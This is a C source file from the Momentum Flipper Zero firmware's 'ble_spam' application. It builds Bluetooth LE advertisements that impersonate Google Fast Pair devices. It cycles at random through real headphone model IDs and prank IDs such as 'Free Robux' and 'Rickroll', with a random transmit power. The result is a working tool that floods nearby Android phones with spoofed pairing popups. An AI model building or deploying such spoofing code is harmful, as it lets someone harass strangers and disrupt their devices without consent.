Files
Momentum-Firmware/applications/external/ble_spam/protocols/fastpair.c
2023-10-19 11:21:57 +01:00

76 lines
2.3 KiB
C

#include "fastpair.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
const FastpairCfg* cfg = &_cfg->fastpair;
UNUSED(cfg);
return "FastPair";
}
static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
uint32_t model_id;
if(cfg && cfg->model_id != 0x000000) {
model_id = cfg->model_id;
} else {
const uint32_t models[] = {
// Genuine devices
0xCD8256, // Bose NC 700
0xF52494, // JBL Buds Pro
0x718FA4, // JBL Live 300TWS
0x821F66, // JBL Flip 6
0x92BBBD, // Pixel Buds
0xD446A7, // Sony XM5
0x2D7A23, // Sony WF-1000XM4
// Custom debug popups
0xD99CA1, // Flipper Zero
0x77FF67, // Free Robux
0xAA187F, // Free VBucks
0xDCE9EA, // Rickroll
0x87B25F, // Animated Rickroll
0xF38C02, // Boykisser
0x1448C9, // BLM
0xD5AB33, // Xtreme
0x0C0B67, // Xtreme Cta
0x13B39D, // Talking Sasquach
0xAA1FE1, // ClownMaster
};
model_id = models[rand() % COUNT_OF(models)];
}
uint8_t size = 14;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = 6; // Size
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
*_size = size;
*_packet = packet;
}
const Protocol protocol_fastpair = {
.icon = &I_android,
.get_name = fastpair_get_name,
.make_packet = fastpair_make_packet,
};